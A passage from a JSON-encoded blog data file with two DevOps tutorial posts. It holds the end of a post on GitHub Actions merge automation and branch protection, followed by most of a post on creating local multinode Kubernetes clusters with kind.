style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworkflow-run-info\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sourceRunId\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ github.event.workflow_run.id }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003emerge a pull request after terraform apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esudo-bot/action-pull-request-merge@v1.2.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e github-token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e number\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will wait until the \u003ccode\u003epr_apply\u003c/code\u003e job completes and as long as it was\nsuccessful it will merge the branch!\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: As I mentioned earlier, the event based actions do not run in the\ncontext of the pull request which means you cannot test changes to them during\nthe PR either. You must merge the \u003ccode\u003eon-apply-finished.yml\u003c/code\u003e file to \u003ccode\u003emain\u003c/code\u003e\nbefore it starts working.\u003c/p\u003e\n\u003ch1\u003eBranch Protection\u003c/h1\u003e\n\u003cp\u003eThe final step to the process is to make sure you go to your github settings\nand make sure these status checks are required before merging. Branch protection\nis a feature that will prevent merging changes into a branch unless all\nrequired checks are passing.\u003c/p\u003e\n\u003cp\u003eGo to \u003ccode\u003eSettings\u003c/code\u003e -\u003e \u003ccode\u003eBranches\u003c/code\u003e -\u003e \u003ccode\u003eBranch Protection\u003c/code\u003e and add a branch\nprotection rule:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/branch_protection.png\" width=\"500\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou want to enable the following settings:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eBranch Name\u003c/strong\u003e: main\u003c/li\u003e\n\u003cli\u003e✅ Require a pull request before merging\u003c/li\u003e\n\u003cli\u003e✅ Require status checks to pass before merging\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThen for \u003ccode\u003eStatus checks that are required.\u003c/code\u003e select all of the ones we have\ncreated:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/required_checks.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eHelpful Resources\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/tutorials/cloud/dynamic-credentials?product_intent=terraform\"\u003eTerraform Dynamic Credentials Tutorial\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/cloud-docs/workspaces/dynamic-provider-credentials/aws-configuration\"\u003eTerraform docs on Dynamic Credentials\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#understanding-the-oidc-token\"\u003eGithub's understanding OIDC\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","category":"AWS","date":"2023-06-23T00:00:00Z","tags":["AWS","DevOps","SRE"],"title":"AWS From Scratch with Terraform - Setting up your Root Account for IaC with Terraform Cloud and Github actions."},{"id":["2023","local_k8s_with_kind"],"path":"2023/local_k8s_with_kind","contentHtml":"\u003cp\u003ePreviously I \u003ca href=\"/blog/2022/local_kubeadm_cluster\"\u003eshowed\u003c/a\u003e how to run kubernetes\nlocally with \u003ccode\u003ekubeadm\u003c/code\u003e and VMs but sometimes that is overkill so I wanted to\nshow how to run \u003ca href=\"https://kind.sigs.k8s.io/\"\u003ekind\u003c/a\u003e which is \"kubernetes in\ndocker\".\u003c/p\u003e\n\u003ch1\u003eCreating your first cluster\u003c/h1\u003e\n\u003cp\u003ekind is a very flexible way to run kubernetes locally and allows you to run\nsingle node or multinode clusters with access to all the features of\nkubernetes, such as ingress.\u003c/p\u003e\n\u003cp\u003eTo create your first cluster it is as simple as running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCreating\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ensuring\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e image\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (kindest/node:v1.27.3) 🖼 \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Preparing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 📦\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Writing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e configuration\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 📜\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Starting\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🕹️\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Installing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CNI\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🔌\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Installing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e StorageClass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 💾\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eSet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e context\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"kind-kind\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eYou\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e now\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e use\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e your\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e with:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster-info\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --context\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-kind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eHave\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e question,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bug,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e or\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e feature\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e request?\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Let\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e us\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e know!\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://kind.sigs.k8s.io/#community\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🙂\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou now have a functioning kubernetes cluster and you\ncan view what it created:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e k\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4m26s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.27.3\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can also verify that it is running inside docker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e docker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ID\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e COMMAND\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CREATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PORTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NAMES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e1c3ba74dc29b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kindest/node:v1.27.3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/usr/local/bin/entr…\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Up\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 127.0.0.1:59327\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e6443/tcp\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-control-plane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eMaking the cluster useful\u003c/h1\u003e\n\u003cp\u003eThere are a few things you will notice with the command we ran originally:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt grabbed the latest kubernetes version available\u003c/li\u003e\n\u003cli\u003eIt is running a single node cluster\u003c/li\u003e\n\u003cli\u003eNo ingress available\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLuckily kind makes it really easy to customize your local cluster to be what\nyou want it to be by using a \u003ccode\u003eYAML\u003c/code\u003e configuration.\u003c/p\u003e\n\u003cp\u003eCreate the configuration:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eCluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ekind.x-k8s.io/v1alpha4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003enodes\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e kubeadmConfigPatches\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind: InitConfiguration\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodeRegistration:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeletExtraArgs:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e node-labels: \"ingress-ready=true\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e extraPortMappings\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e hostPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e protocol\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e hostPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e protocol\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWith this we have now generated a 4 node cluster where we have a single\ncontrol-plane and three workers. Then we defined some extra configuration on\nthe control-plane:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ekubeadmConfigPatches\u003c/strong\u003e: We want to change the default configuration the\ncluster uses so it will tag the nodes with the \u003ccode\u003eingress-ready\u003c/code\u003e label so the\ncontroller will use them.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eextraPortMappings\u003c/strong\u003e: allow the local host to make requests to the Ingress controller over ports 80/443\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003enode-labels\u003c/strong\u003e: only allow the ingress controller to run on specific node(s) matching the label selector\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo now we can create the new cluster with the configuration. Save that config\nas \u003ccode\u003ekind_config.yml\u003c/code\u003e and then run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --image\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kindest/node:v1.25.11\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind_config.yml\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis time I have added a few additional flags on the commandline. \u003ccode\u003e--image\u003c/code\u003e\nallows us to use a different version of kubernetes and \u003ccode\u003e--name\u003c/code\u003e allows us to\nmake more than one cluster. So if you did not destroy the first cluster you\nwill see we have two of them now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e clusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ebut \u003ccode\u003ekind\u003c/code\u003e will swap the to the newest cluster by default:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e current-context\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-kind-multinode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 107s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan 